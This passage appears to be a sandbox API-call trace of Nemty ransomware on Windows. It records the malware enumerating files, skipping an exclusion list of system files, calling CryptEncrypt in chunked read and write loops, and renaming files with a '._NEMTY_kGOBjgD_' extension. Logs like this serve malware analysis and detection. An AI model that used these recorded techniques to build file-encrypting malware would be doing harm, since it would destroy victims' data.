hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0062.161] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0062.188] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0062.188] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0062.188] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0062.188] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0062.198] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0062.198] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0062.198] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0062.198] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0062.207] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0062.207] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0062.207] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0062.207] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0062.216] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0062.216] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0062.216] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0062.216] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0062.226] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0062.226] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0062.226] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0062.226] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0062.237] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0062.237] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0062.237] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0062.237] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0062.243] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0062.243] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0062.243] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0062.243] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0062.249] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0062.249] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0062.249] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0062.249] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340048, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0062.249] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0062.249] CloseHandle (hObject=0xffffffff) returned 0 [0062.249] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x63401b8 [0062.249] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0062.249] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0062.249] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0062.250] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0062.250] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0062.250] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x6340240 [0062.250] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xbe) returned 0x63402c8 [0062.250] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0062.250] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0062.250] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\15x15dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\15x15dot.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\15x15dot.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\15x15dot.png._nemty_kgobjgd_")) returned 0 [0062.250] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63402c8 | out: hHeap=0x4f90000) returned 1 [0062.250] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0062.250] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0062.250] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0062.250] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0062.250] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0062.250] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0062.250] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f943b0 | out: hHeap=0x4f90000) returned 1 [0062.250] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f20ba7c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f20ba7c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d065a03, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11d3, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="dotsdarkoverlay.png", cAlternateFileName="")) returned 1 [0062.250] lstrcmpiW (lpString1="dotsdarkoverlay.png", lpString2=".") returned 1 [0062.250] lstrcmpiW (lpString1="dotsdarkoverlay.png", lpString2="..") returned 1 [0062.250] lstrcmpiW (lpString1="dotsdarkoverlay.png", lpString2="...") returned 1 [0062.250] lstrcmpiW (lpString1="dotsdarkoverlay.png", lpString2="windows") returned -1 [0062.250] lstrcmpiW (lpString1="dotsdarkoverlay.png", lpString2="$RECYCLE.BIN") returned 1 [0062.250] lstrcmpiW (lpString1="dotsdarkoverlay.png", lpString2="rsa") returned -1 [0062.250] lstrcmpiW (lpString1="dotsdarkoverlay.png", lpString2="NTDETECT.COM") returned -1 [0062.250] lstrcmpiW (lpString1="dotsdarkoverlay.png", lpString2="ntldr") returned -1 [0062.250] lstrcmpiW (lpString1="dotsdarkoverlay.png", lpString2="MSDOS.SYS") returned -1 [0062.250] lstrcmpiW (lpString1="dotsdarkoverlay.png", lpString2="IO.SYS") returned -1 [0062.250] lstrcmpiW (lpString1="dotsdarkoverlay.png", lpString2="boot.ini") returned 1 [0062.250] lstrcmpiW (lpString1="dotsdarkoverlay.png", lpString2="boot.ini") returned 1 [0062.250] lstrcmpiW (lpString1="dotsdarkoverlay.png", lpString2="AUTOEXEC.BAT") returned 1 [0062.250] lstrcmpiW (lpString1="dotsdarkoverlay.png", lpString2="ntuser.dat") returned -1 [0062.251] lstrcmpiW (lpString1="dotsdarkoverlay.png", lpString2="desktop.ini") returned 1 [0062.251] lstrcmpiW (lpString1="dotsdarkoverlay.png", lpString2="CONFIG.SYS") returned 1 [0062.251] lstrcmpiW (lpString1="dotsdarkoverlay.png", lpString2="RECYCLER") returned -1 [0062.251] lstrcmpiW (lpString1="dotsdarkoverlay.png", lpString2="BOOTSECT.BAK") returned 1 [0062.251] lstrcmpiW (lpString1="dotsdarkoverlay.png", lpString2="bootmgr") returned 1 [0062.251] lstrcmpiW (lpString1="dotsdarkoverlay.png", lpString2="programdata") returned -1 [0062.251] lstrcmpiW (lpString1="dotsdarkoverlay.png", lpString2="appdata") returned 1 [0062.251] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0062.251] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="dotsdarkoverlay.png", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0062.251] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0062.251] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="dotsdarkoverlay.png", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dotsdarkoverlay.png", lpUsedDefaultChar=0x0) returned 19 [0062.251] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0062.251] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0062.251] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="dotsdarkoverlay.png", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0062.251] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0062.251] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="dotsdarkoverlay.png", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dotsdarkoverlay.png", lpUsedDefaultChar=0x0) returned 19 [0062.251] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0062.251] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0062.251] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0062.251] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0062.251] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="dotsdarkoverlay.png", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0062.251] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0062.251] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="dotsdarkoverlay.png", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dotsdarkoverlay.png", lpUsedDefaultChar=0x0) returned 19 [0062.251] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0062.251] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0062.251] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="dotsdarkoverlay.png", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0062.251] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0062.251] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="dotsdarkoverlay.png", cchWideChar=19, lpMultiByteStr=0x4f9ed58, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dotsdarkoverlay.png", lpUsedDefaultChar=0x0) returned 19 [0062.251] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0062.251] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0062.251] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0062.251] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0062.251] Sleep (dwMilliseconds=0x5) [0062.258] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xd8c15450, dwHighDateTime=0x1d561e7)) [0062.258] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xd8c15450, dwHighDateTime=0x1d561e7)) [0062.258] GetLastError () returned 0x5 [0062.258] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0062.258] GetLastError () returned 0x5 [0062.258] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0062.258] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0062.258] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0062.258] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0062.258] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0062.258] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0062.258] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0062.258] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e91c | out: pszString="NMzBnmsi5QcuZIH3v5O912qrKjWL/1D4dCBWjFvDm6BaFRmx1cR1bMj7cJsz3yM9\r\najyWOYSRiNgSW2DxD0oSBdll99lHK3HrAwRcbQdt3Cki0fZGypxFSj1yydAeGQ1p\r\nPckV+WsL3uUxgUuj1lZKf0vw4F04CJ7yVgK0dJlrpsID/M9i7us/2t0Rr5kUxDLt\r\nWG30s43dUkaQNy8jXjYeje29j2dE4ATzNUvQBwBCq43HSJfmVOoXa7c9HjS2CLiA\r\n0yu+o3/R5WjhSdq4O5YZw8mxRd2m/nGTbenwDu3CWUpC2zv0TOuzuVOq5JUGcln8\r\nl8ZUT2jFrPWOC577vSRV0g==\r\n", pcchString=0x653e91c) returned 1 [0062.258] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0062.258] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0062.258] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0062.258] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0062.258] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0062.258] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0062.258] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\dotsdarkoverlay.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\dotsdarkoverlay.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0062.266] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0062.266] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634ad48 [0062.266] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0062.266] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0062.276] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0062.276] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0062.276] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0062.276] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0062.285] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0062.285] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0062.285] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0062.285] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0062.295] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0062.295] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0062.295] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0062.295] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0062.304] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0062.304] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0062.304] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0062.304] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0062.313] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0062.313] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0062.313] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0062.313] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0062.323] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0062.323] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0062.323] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0062.323] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0062.332] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0062.332] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0062.332] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: 